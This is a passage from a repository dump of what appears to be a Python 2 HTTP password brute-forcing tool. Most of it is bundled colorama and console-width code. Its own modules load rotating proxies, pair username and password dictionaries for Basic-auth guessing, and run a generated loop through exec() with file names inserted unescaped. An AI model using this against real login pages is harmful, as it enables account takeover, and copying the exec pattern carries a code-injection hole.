AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True), 110 | AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True), 111 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK), 112 | AnsiBack.RED: (winterm.back, WinColor.RED), 113 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN), 114 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), 115 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE), 116 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), 117 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN), 118 | AnsiBack.WHITE: (winterm.back, WinColor.GREY), 119 | AnsiBack.RESET: (winterm.back, ), 120 | AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True), 121 | AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True), 122 | AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True), 123 | AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True), 124 | AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True), 125 | AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True), 126 | AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True), 127 | AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True), 128 | } 129 | return dict() 130 | 131 | def write(self, text): 132 | if self.strip or self.convert: 133 | self.write_and_convert(text) 134 | else: 135 | self.wrapped.write(text) 136 | self.wrapped.flush() 137 | if self.autoreset: 138 | self.reset_all() 139 | 140 | 141 | def reset_all(self): 142 | if self.convert: 143 | self.call_win32('m', (0,)) 144 | elif not self.wrapped.closed and is_a_tty(self.wrapped): 145 | self.wrapped.write(Style.RESET_ALL) 146 | 147 | 148 | def write_and_convert(self, text): 149 | ''' 150 | Write the given text to our wrapped stream, stripping any ANSI 151 | sequences from the text, and optionally converting them into win32 152 | calls. 153 | ''' 154 | cursor = 0 155 | text = self.convert_osc(text) 156 | for match in self.ANSI_CSI_RE.finditer(text): 157 | start, end = match.span() 158 | self.write_plain_text(text, cursor, start) 159 | self.convert_ansi(*match.groups()) 160 | cursor = end 161 | self.write_plain_text(text, cursor, len(text)) 162 | 163 | 164 | def write_plain_text(self, text, start, end): 165 | if start < end: 166 | self.wrapped.write(text[start:end]) 167 | self.wrapped.flush() 168 | 169 | 170 | def convert_ansi(self, paramstring, command): 171 | if self.convert: 172 | params = self.extract_params(command, paramstring) 173 | self.call_win32(command, params) 174 | 175 | 176 | def extract_params(self, command, paramstring): 177 | if command in 'Hf': 178 | params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';')) 179 | while len(params) < 2: 180 | # defaults: 181 | params = params + (1,) 182 | else: 183 | params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0) 184 | if len(params) == 0: 185 | # defaults: 186 | if command in 'JKm': 187 | params = (0,) 188 | elif command in 'ABCD': 189 | params = (1,) 190 | 191 | return params 192 | 193 | 194 | def call_win32(self, command, params): 195 | if command == 'm': 196 | for param in params: 197 | if param in self.win32_calls: 198 | func_args = self.win32_calls[param] 199 | func = func_args[0] 200 | args = func_args[1:] 201 | kwargs = dict(on_stderr=self.on_stderr) 202 | func(*args, **kwargs) 203 | elif command in 'J': 204 | winterm.erase_screen(params[0], on_stderr=self.on_stderr) 205 | elif command in 'K': 206 | winterm.erase_line(params[0], on_stderr=self.on_stderr) 207 | elif command in 'Hf': # cursor position - absolute 208 | winterm.set_cursor_position(params, on_stderr=self.on_stderr) 209 | elif command in 'ABCD': # cursor position - relative 210 | n = params[0] 211 | # A - up, B - down, C - forward, D - back 212 | x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command] 213 | winterm.cursor_adjust(x, y, on_stderr=self.on_stderr) 214 | 215 | 216 | def convert_osc(self, text): 217 | for match in self.ANSI_OSC_RE.finditer(text): 218 | start, end = match.span() 219 | text = text[:start] + text[end:] 220 | paramstring, command = match.groups() 221 | if command in '\x07': # \x07 = BEL 222 | params = paramstring.split(";") 223 | # 0 - change title and icon (we will only change title) 224 | # 1 - change icon (we don't support this) 225 | # 2 - change title 226 | if params[0] in '02': 227 | winterm.set_title(params[1]) 228 | return text 229 | -------------------------------------------------------------------------------- /lib/colorama/ansitowin32.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/colorama/ansitowin32.pyc -------------------------------------------------------------------------------- /lib/colorama/initialise.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import atexit 3 | import sys 4 | 5 | from .ansitowin32 import AnsiToWin32 6 | 7 | 8 | orig_stdout = sys.stdout 9 | orig_stderr = sys.stderr 10 | 11 | wrapped_stdout = sys.stdout 12 | wrapped_stderr = sys.stderr 13 | 14 | atexit_done = False 15 | 16 | 17 | def reset_all(): 18 | AnsiToWin32(orig_stdout).reset_all() 19 | 20 | 21 | def init(autoreset=False, convert=None, strip=None, wrap=True): 22 | 23 | if not wrap and any([autoreset, convert, strip]): 24 | raise ValueError('wrap=False conflicts with any other arg=True') 25 | 26 | global wrapped_stdout, wrapped_stderr 27 | if sys.stdout is None: 28 | wrapped_stdout = None 29 | else: 30 | sys.stdout = wrapped_stdout = \ 31 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 32 | if sys.stderr is None: 33 | wrapped_stderr = None 34 | else: 35 | sys.stderr = wrapped_stderr = \ 36 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 37 | 38 | global atexit_done 39 | if not atexit_done: 40 | atexit.register(reset_all) 41 | atexit_done = True 42 | 43 | 44 | def deinit(): 45 | if orig_stdout is not None: 46 | sys.stdout = orig_stdout 47 | if orig_stderr is not None: 48 | sys.stderr = orig_stderr 49 | 50 | 51 | def reinit(): 52 | if wrapped_stdout is not None: 53 | sys.stdout = wrapped_stdout 54 | if wrapped_stderr is not None: 55 | sys.stderr = wrapped_stderr 56 | 57 | 58 | def wrap_stream(stream, convert, strip, autoreset, wrap): 59 | if wrap: 60 | wrapper = AnsiToWin32(stream, 61 | convert=convert, strip=strip, autoreset=autoreset) 62 | if wrapper.should_wrap(): 63 | stream = wrapper.stream 64 | return stream 65 | 66 | 67 | -------------------------------------------------------------------------------- /lib/colorama/initialise.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/colorama/initialise.pyc -------------------------------------------------------------------------------- /lib/colorama/win32.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | 3 | # from winbase.h 4 | STDOUT = -11 5 | STDERR = -12 6 | 7 | try: 8 | import ctypes 9 | from ctypes import LibraryLoader 10 | windll = LibraryLoader(ctypes.WinDLL) 11 | from ctypes import wintypes 12 | except (AttributeError, ImportError): 13 | windll = None 14 | SetConsoleTextAttribute = lambda *_: None 15 | else: 16 | from ctypes import byref, Structure, c_char, POINTER 17 | 18 | COORD = wintypes._COORD 19 | 20 | class CONSOLE_SCREEN_BUFFER_INFO(Structure): 21 | """struct in wincon.h.""" 22 | _fields_ = [ 23 | ("dwSize", COORD), 24 | ("dwCursorPosition", COORD), 25 | ("wAttributes", wintypes.WORD), 26 | ("srWindow", wintypes.SMALL_RECT), 27 | ("dwMaximumWindowSize", COORD), 28 | ] 29 | def __str__(self): 30 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( 31 | self.dwSize.Y, self.dwSize.X 32 | , self.dwCursorPosition.Y, self.dwCursorPosition.X 33 | , self.wAttributes 34 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right 35 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X 36 | ) 37 | 38 | _GetStdHandle = windll.kernel32.GetStdHandle 39 | _GetStdHandle.argtypes = [ 40 | wintypes.DWORD, 41 | ] 42 | _GetStdHandle.restype = wintypes.HANDLE 43 | 44 | _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo 45 | _GetConsoleScreenBufferInfo.argtypes = [ 46 | wintypes.HANDLE, 47 | POINTER(CONSOLE_SCREEN_BUFFER_INFO), 48 | ] 49 | _GetConsoleScreenBufferInfo.restype = wintypes.BOOL 50 | 51 | _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute 52 | _SetConsoleTextAttribute.argtypes = [ 53 | wintypes.HANDLE, 54 | wintypes.WORD, 55 | ] 56 | _SetConsoleTextAttribute.restype = wintypes.BOOL 57 | 58 | _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition 59 | _SetConsoleCursorPosition.argtypes = [ 60 | wintypes.HANDLE, 61 | COORD, 62 | ] 63 | _SetConsoleCursorPosition.restype = wintypes.BOOL 64 | 65 | _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA 66 | _FillConsoleOutputCharacterA.argtypes = [ 67 | wintypes.HANDLE, 68 | c_char, 69 | wintypes.DWORD, 70 | COORD, 71 | POINTER(wintypes.DWORD), 72 | ] 73 | _FillConsoleOutputCharacterA.restype = wintypes.BOOL 74 | 75 | _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute 76 | _FillConsoleOutputAttribute.argtypes = [ 77 | wintypes.HANDLE, 78 | wintypes.WORD, 79 | wintypes.DWORD, 80 | COORD, 81 | POINTER(wintypes.DWORD), 82 | ] 83 | _FillConsoleOutputAttribute.restype = wintypes.BOOL 84 | 85 | _SetConsoleTitleW = windll.kernel32.SetConsoleTitleA 86 | _SetConsoleTitleW.argtypes = [ 87 | wintypes.LPCSTR 88 | ] 89 | _SetConsoleTitleW.restype = wintypes.BOOL 90 | 91 | handles = { 92 | STDOUT: _GetStdHandle(STDOUT), 93 | STDERR: _GetStdHandle(STDERR), 94 | } 95 | 96 | def GetConsoleScreenBufferInfo(stream_id=STDOUT): 97 | handle = handles[stream_id] 98 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 99 | success = _GetConsoleScreenBufferInfo( 100 | handle, byref(csbi)) 101 | return csbi 102 | 103 | def SetConsoleTextAttribute(stream_id, attrs): 104 | handle = handles[stream_id] 105 | return _SetConsoleTextAttribute(handle, attrs) 106 | 107 | def SetConsoleCursorPosition(stream_id, position, adjust=True): 108 | position = COORD(*position) 109 | # If the position is out of range, do nothing. 110 | if position.Y <= 0 or position.X <= 0: 111 | return 112 | # Adjust for Windows' SetConsoleCursorPosition: 113 | # 1. being 0-based, while ANSI is 1-based. 114 | # 2. expecting (x,y), while ANSI uses (y,x). 115 | adjusted_position = COORD(position.Y - 1, position.X - 1) 116 | if adjust: 117 | # Adjust for viewport's scroll position 118 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow 119 | adjusted_position.Y += sr.Top 120 | adjusted_position.X += sr.Left 121 | # Resume normal processing 122 | handle = handles[stream_id] 123 | return _SetConsoleCursorPosition(handle, adjusted_position) 124 | 125 | def FillConsoleOutputCharacter(stream_id, char, length, start): 126 | handle = handles[stream_id] 127 | char = c_char(char.encode()) 128 | length = wintypes.DWORD(length) 129 | num_written = wintypes.DWORD(0) 130 | # Note that this is hard-coded for ANSI (vs wide) bytes. 131 | success = _FillConsoleOutputCharacterA( 132 | handle, char, length, start, byref(num_written)) 133 | return num_written.value 134 | 135 | def FillConsoleOutputAttribute(stream_id, attr, length, start): 136 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' 137 | handle = handles[stream_id] 138 | attribute = wintypes.WORD(attr) 139 | length = wintypes.DWORD(length) 140 | num_written = wintypes.DWORD(0) 141 | # Note that this is hard-coded for ANSI (vs wide) bytes. 142 | return _FillConsoleOutputAttribute( 143 | handle, attribute, length, start, byref(num_written)) 144 | 145 | def SetConsoleTitle(title): 146 | return _SetConsoleTitleW(title) 147 | -------------------------------------------------------------------------------- /lib/colorama/win32.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/colorama/win32.pyc -------------------------------------------------------------------------------- /lib/colorama/winterm.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from . import win32 3 | 4 | 5 | # from wincon.h 6 | class WinColor(object): 7 | BLACK = 0 8 | BLUE = 1 9 | GREEN = 2 10 | CYAN = 3 11 | RED = 4 12 | MAGENTA = 5 13 | YELLOW = 6 14 | GREY = 7 15 | 16 | # from wincon.h 17 | class WinStyle(object): 18 | NORMAL = 0x00 # dim text, dim background 19 | BRIGHT = 0x08 # bright text, dim background 20 | BRIGHT_BACKGROUND = 0x80 # dim text, bright background 21 | 22 | class WinTerm(object): 23 | 24 | def __init__(self): 25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes 26 | self.set_attrs(self._default) 27 | self._default_fore = self._fore 28 | self._default_back = self._back 29 | self._default_style = self._style 30 | 31 | def get_attrs(self): 32 | return self._fore + self._back * 16 + self._style 33 | 34 | def set_attrs(self, value): 35 | self._fore = value & 7 36 | self._back = (value >> 4) & 7 37 | self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND) 38 | 39 | def reset_all(self, on_stderr=None): 40 | self.set_attrs(self._default) 41 | self.set_console(attrs=self._default) 42 | 43 | def fore(self, fore=None, light=False, on_stderr=False): 44 | if fore is None: 45 | fore = self._default_fore 46 | self._fore = fore 47 | if light: 48 | self._style |= WinStyle.BRIGHT 49 | self.set_console(on_stderr=on_stderr) 50 | 51 | def back(self, back=None, light=False, on_stderr=False): 52 | if back is None: 53 | back = self._default_back 54 | self._back = back 55 | if light: 56 | self._style |= WinStyle.BRIGHT_BACKGROUND 57 | self.set_console(on_stderr=on_stderr) 58 | 59 | def style(self, style=None, on_stderr=False): 60 | if style is None: 61 | style = self._default_style 62 | self._style = style 63 | self.set_console(on_stderr=on_stderr) 64 | 65 | def set_console(self, attrs=None, on_stderr=False): 66 | if attrs is None: 67 | attrs = self.get_attrs() 68 | handle = win32.STDOUT 69 | if on_stderr: 70 | handle = win32.STDERR 71 | win32.SetConsoleTextAttribute(handle, attrs) 72 | 73 | def get_position(self, handle): 74 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition 75 | # Because Windows coordinates are 0-based, 76 | # and win32.SetConsoleCursorPosition expects 1-based. 77 | position.X += 1 78 | position.Y += 1 79 | return position 80 | 81 | def set_cursor_position(self, position=None, on_stderr=False): 82 | if position is None: 83 | #I'm not currently tracking the position, so there is no default. 84 | #position = self.get_position() 85 | return 86 | handle = win32.STDOUT 87 | if on_stderr: 88 | handle = win32.STDERR 89 | win32.SetConsoleCursorPosition(handle, position) 90 | 91 | def cursor_adjust(self, x, y, on_stderr=False): 92 | handle = win32.STDOUT 93 | if on_stderr: 94 | handle = win32.STDERR 95 | position = self.get_position(handle) 96 | adjusted_position = (position.Y + y, position.X + x) 97 | win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False) 98 | 99 | def erase_screen(self, mode=0, on_stderr=False): 100 | # 0 should clear from the cursor to the end of the screen. 101 | # 1 should clear from the cursor to the beginning of the screen. 102 | # 2 should clear the entire screen, and move cursor to (1,1) 103 | handle = win32.STDOUT 104 | if on_stderr: 105 | handle = win32.STDERR 106 | csbi = win32.GetConsoleScreenBufferInfo(handle) 107 | # get the number of character cells in the current buffer 108 | cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y 109 | # get number of character cells before current cursor position 110 | cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X 111 | if mode == 0: 112 | from_coord = csbi.dwCursorPosition 113 | cells_to_erase = cells_in_screen - cells_before_cursor 114 | if mode == 1: 115 | from_coord = win32.COORD(0, 0) 116 | cells_to_erase = cells_before_cursor 117 | elif mode == 2: 118 | from_coord = win32.COORD(0, 0) 119 | cells_to_erase = cells_in_screen 120 | # fill the entire screen with blanks 121 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) 122 | # now set the buffer's attributes accordingly 123 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) 124 | if mode == 2: 125 | # put the cursor where needed 126 | win32.SetConsoleCursorPosition(handle, (1, 1)) 127 | 128 | def erase_line(self, mode=0, on_stderr=False): 129 | # 0 should clear from the cursor to the end of the line. 130 | # 1 should clear from the cursor to the beginning of the line. 131 | # 2 should clear the entire line. 132 | handle = win32.STDOUT 133 | if on_stderr: 134 | handle = win32.STDERR 135 | csbi = win32.GetConsoleScreenBufferInfo(handle) 136 | if mode == 0: 137 | from_coord = csbi.dwCursorPosition 138 | cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X 139 | if mode == 1: 140 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) 141 | cells_to_erase = csbi.dwCursorPosition.X 142 | elif mode == 2: 143 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) 144 | cells_to_erase = csbi.dwSize.X 145 | # fill the entire screen with blanks 146 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) 147 | # now set the buffer's attributes accordingly 148 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) 149 | 150 | def set_title(self, title): 151 | win32.SetConsoleTitle(title) 152 | -------------------------------------------------------------------------------- /lib/colorama/winterm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/colorama/winterm.pyc -------------------------------------------------------------------------------- /lib/consle_width.py: -------------------------------------------------------------------------------- 1 | 2 | __all__=['getTerminalSize'] 3 | 4 | 5 | def getTerminalSize(): 6 | import platform 7 | current_os = platform.system() 8 | tuple_xy=None 9 | if current_os == 'Windows': 10 | tuple_xy = _getTerminalSize_windows() 11 | if tuple_xy is None: 12 | tuple_xy = _getTerminalSize_tput() 13 | # needed for window's python in cygwin's xterm! 14 | if current_os == 'Linux' or current_os == 'Darwin' or current_os.startswith('CYGWIN'): 15 | tuple_xy = _getTerminalSize_linux() 16 | if tuple_xy is None: 17 | print "default" 18 | tuple_xy = (80, 25) # default value 19 | return tuple_xy 20 | 21 | def _getTerminalSize_windows(): 22 | res=None 23 | try: 24 | from ctypes import windll, create_string_buffer 25 | 26 | # stdin handle is -10 27 | # stdout handle is -11 28 | # stderr handle is -12 29 | 30 | h = windll.kernel32.GetStdHandle(-12) 31 | csbi = create_string_buffer(22) 32 | res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi) 33 | except: 34 | return None 35 | if res: 36 | import struct 37 | (bufx, bufy, curx, cury, wattr, 38 | left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw) 39 | sizex = right - left + 1 40 | sizey = bottom - top + 1 41 | return sizex, sizey 42 | else: 43 | return None 44 | 45 | def _getTerminalSize_tput(): 46 | # get terminal width 47 | # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window 48 | try: 49 | import subprocess 50 | proc=subprocess.Popen(["tput", "cols"],stdin=subprocess.PIPE,stdout=subprocess.PIPE) 51 | output=proc.communicate(input=None) 52 | cols=int(output[0]) 53 | proc=subprocess.Popen(["tput", "lines"],stdin=subprocess.PIPE,stdout=subprocess.PIPE) 54 | output=proc.communicate(input=None) 55 | rows=int(output[0]) 56 | return (cols,rows) 57 | except: 58 | return None 59 | 60 | 61 | def _getTerminalSize_linux(): 62 | def ioctl_GWINSZ(fd): 63 | try: 64 | import fcntl, termios, struct, os 65 | cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ,'1234')) 66 | except: 67 | return None 68 | return cr 69 | cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2) 70 | if not cr: 71 | try: 72 | fd = os.open(os.ctermid(), os.O_RDONLY) 73 | cr = ioctl_GWINSZ(fd) 74 | os.close(fd) 75 | except: 76 | pass 77 | if not cr: 78 | try: 79 | cr = (env['LINES'], env['COLUMNS']) 80 | except: 81 | return None 82 | return int(cr[1]), int(cr[0]) 83 | 84 | if __name__ == "__main__": 85 | sizex,sizey=getTerminalSize() 86 | print 'width =',sizex,'height =',sizey -------------------------------------------------------------------------------- /lib/consle_width.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/consle_width.pyc -------------------------------------------------------------------------------- /lib/console_width.py: -------------------------------------------------------------------------------- 1 | 2 | __all__=['getTerminalSize'] 3 | 4 | 5 | def getTerminalSize(): 6 | import platform 7 | current_os = platform.system() 8 | tuple_xy=None 9 | if current_os == 'Windows': 10 | tuple_xy = _getTerminalSize_windows() 11 | if tuple_xy is None: 12 | tuple_xy = _getTerminalSize_tput() 13 | # needed for window's python in cygwin's xterm! 14 | if current_os == 'Linux' or current_os == 'Darwin' or current_os.startswith('CYGWIN'): 15 | tuple_xy = _getTerminalSize_linux() 16 | if tuple_xy is None: 17 | print "default" 18 | tuple_xy = (80, 25) # default value 19 | return tuple_xy 20 | 21 | def _getTerminalSize_windows(): 22 | res=None 23 | try: 24 | from ctypes import windll, create_string_buffer 25 | 26 | # stdin handle is -10 27 | # stdout handle is -11 28 | # stderr handle is -12 29 | 30 | h = windll.kernel32.GetStdHandle(-12) 31 | csbi = create_string_buffer(22) 32 | res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi) 33 | except: 34 | return None 35 | if res: 36 | import struct 37 | (bufx, bufy, curx, cury, wattr, 38 | left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw) 39 | sizex = right - left + 1 40 | sizey = bottom - top + 1 41 | return sizex, sizey 42 | else: 43 | return None 44 | 45 | def _getTerminalSize_tput(): 46 | # get terminal width 47 | # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window 48 | try: 49 | import subprocess 50 | proc=subprocess.Popen(["tput", "cols"],stdin=subprocess.PIPE,stdout=subprocess.PIPE) 51 | output=proc.communicate(input=None) 52 | cols=int(output[0]) 53 | proc=subprocess.Popen(["tput", "lines"],stdin=subprocess.PIPE,stdout=subprocess.PIPE) 54 | output=proc.communicate(input=None) 55 | rows=int(output[0]) 56 | return (cols,rows) 57 | except: 58 | return None 59 | 60 | 61 | def _getTerminalSize_linux(): 62 | def ioctl_GWINSZ(fd): 63 | try: 64 | import fcntl, termios, struct, os 65 | cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ,'1234')) 66 | except: 67 | return None 68 | return cr 69 | cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2) 70 | if not cr: 71 | try: 72 | fd = os.open(os.ctermid(), os.O_RDONLY) 73 | cr = ioctl_GWINSZ(fd) 74 | os.close(fd) 75 | except: 76 | pass 77 | if not cr: 78 | try: 79 | cr = (env['LINES'], env['COLUMNS']) 80 | except: 81 | return None 82 | return int(cr[1]), int(cr[0]) 83 | 84 | if __name__ == "__main__": 85 | sizex,sizey=getTerminalSize() 86 | print 'width =',sizex,'height =',sizey -------------------------------------------------------------------------------- /lib/encodings.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # System specific encoding and decoding 4 | # 5 | 6 | 7 | import sys 8 | 9 | def system_encode(s): 10 | charset = sys.stdout.encoding 11 | return s.encode(charset, 'ignore') 12 | 13 | def system_decode(s): 14 | charset = sys.stdout.encoding 15 | return s.decode(charset, 'ignore') -------------------------------------------------------------------------------- /lib/encodings.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/encodings.pyc -------------------------------------------------------------------------------- /lib/proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # 4 | # 5 | 6 | import os 7 | 8 | def load_proxy(self): 9 | self.proxy_index = 0 10 | self.args.proxy_on = False 11 | self.proxy_list = [] 12 | 13 | if self.args.proxy: 14 | for proxy_item in self.args.proxy.split(','): 15 | proxy_item = proxy_item.strip() 16 | if len(proxy_item) >= 7 and proxy_item.find(':') > 0: 17 | self.proxy_list.append(proxy_item) 18 | 19 | if self.proxy_list: 20 | self.args.proxy_on = True 21 | else: 22 | raise Exception('Invalid proxy Server! Feed sth like 127.0.0.1:8080') 23 | 24 | # Load HTTP proxies from file 25 | if self.args.proxylist: 26 | if not os.path.exists(self.args.proxylist): 27 | raise Exception('Proxy list file not found!') 28 | 29 | with open(self.args.proxylist, 'r') as inFile: 30 | while True: 31 | line = inFile.readline().strip() 32 | if len(line) < 1: break 33 | if line.find(':') > 0 and len(line) >= 7 and line[line.find(':')+1:].strip().isdigit(): 34 | self.proxy_list.append(line) 35 | 36 | if self.proxy_list: 37 | self.args.proxy_on = True 38 | else: 39 | raise Exception('Fail to load HTTP proxies from file: no valid proxies in file') 40 | 41 | if self.args.debug and self.proxy_list: 42 | self.lock.acquire() 43 | print '[Proxy servers loaded]\n' 44 | print self.proxy_list 45 | print '\n' + '*' * self.console_width 46 | self.lock.release() 47 | 48 | if self.args.checkproxy and not self.proxy_list: 49 | raise Exception('No proxy servers found, use -proxy or -proxylist to feed some.') 50 | -------------------------------------------------------------------------------- /lib/proxy.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/proxy.pyc -------------------------------------------------------------------------------- /lib/queue.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # 4 | # 5 | 6 | import time 7 | import Queue 8 | import os 9 | import re 10 | 11 | 12 | def gen_queue_basic_auth(self): 13 | f_user = open(self.args.basic[0], 'r') 14 | f_pass = open(self.args.basic[1], 'r') 15 | 16 | for str_user in f_user.xreadlines(): 17 | f_pass.seek(0) # Very important 18 | for str_pass in f_pass.xreadlines(): 19 | auth_key = '%s:%s' % (str_user.strip(), str_pass.strip()) 20 | while self.queue.qsize() >= self.args.t * 2 and not self.STOP_ME: 21 | time.sleep(0.001) 22 | self.queue.put(auth_key) 23 | 24 | f_user.close() 25 | f_pass.close() 26 | 27 | for i in range(self.args.t): 28 | self.queue.put(None) 29 | 30 | def gen_python_code(self): 31 | str_code = str_code_prefix = str_code_postfix = '' 32 | indent = 0 33 | for param in self.args.d: 34 | pname, fname = param.split('=') 35 | 36 | if fname.startswith('md5(') and fname.endswith(')'): # MD5 32 hash 37 | self.args.md5.append(pname) 38 | fname = fname[4: -1] 39 | 40 | elif fname.startswith('md5_16(') and fname.endswith(')'): # MD5 16 hash 41 | self.args.md5_16.append(pname) 42 | fname = fname[7: -1] 43 | 44 | self.selected_params[pname] = fname # e.g {'user': 'user.dic'} 45 | self.selected_params_keys.append(pname) 46 | if not os.path.exists(fname): 47 | raise Exception('File not found: %s' % fname) 48 | 49 | str_code += ' ' * 4 * indent 50 | indent += 1 51 | str_code_prefix += "file" + str(indent) + " = open(r'" + fname + "', 'r')\n" # prefix 52 | str_code += "file" + str(indent) + ".seek(0)\n" 53 | str_code += ' ' * 4 * (indent - 1) 54 | str_code += "for line" + str(indent) + " in file" + str(indent) + ":\n" 55 | str_code_postfix += 'file' + str(indent) + '.close()\n' # postfix 56 | 57 | str_code += ' ' * 4 * indent + 'while not self.STOP_ME:\n' 58 | indent += 1 59 | str_code += ' ' * 4 * indent + 'if self.queue.qsize() < self.args.t * 2:\n' 60 | indent += 1 61 | str_code += ' ' * 4 * indent 62 | index = 1 63 | str_line = '' 64 | for _ in self.args.d[:-1]: 65 | str_line += 'line' + str(index) + ".strip() + '^^^' + " # values separated by '^^^' 66 | index += 1 67 | str_line += 'line' + str(index) + '.strip()' 68 | str_code += "self.queue.put(" + str_line + ")\n" 69 | str_code += ' ' * 4 * indent + 'break\n' 70 | str_code += ' ' * 4 * (indent - 1) + 'time.sleep(0.001)\n' 71 | if self.args.debug: 72 | for i in range(len(self.args.d)): 73 | str_code += ' ' * 4 * (indent - 2 - i) + 'break\n' 74 | str_code += 'for i in range(self.args.t):\n self.queue.put(None)\n' 75 | str_code = str_code_prefix + str_code + str_code_postfix.strip() 76 | return str_code 77 | 78 | 79 | def gen_queue(self): 80 | 81 | self.queue = Queue.Queue() 82 | self.args.md5 = self.args.md5_16 = [] 83 | self.selected_params = {} 84 | self.selected_params_keys = [] 85 | 86 | if self.args.basic: 87 | gen_queue_basic_auth(self) 88 | return 89 | 90 | 91 | 92 | else: 93 | str_code = gen_python_code(self) 94 | self.lock.acquire() 95 | if self.args.debug: 96 | print '[Python code generated]\n' 97 | print str_code 98 | print '\n' + '*' * self.console_width 99 | self.lock.release() 100 | exec(str_code) 101 | -------------------------------------------------------------------------------- /lib/queue.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootredrain/fuckme/253c89c680b646a781236e639f0a9e693aba3b39/lib/queue.pyc -------------------------------------------------------------------------------- /lib/request.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # 4 | # 处理逻辑 5 | # 6 | 7 | import copy 8 | import base64 9 | import random 10 | import re 11 | import string 12 | import hashlib 13 | import urlparse 14 | import urllib 15 | import httplib 16 | import time 17 | from lib.encodings import system_encode 18 | 19 | 20 | def decode_response_text(str, lang): 21 | all_lang = ['UTF-8', 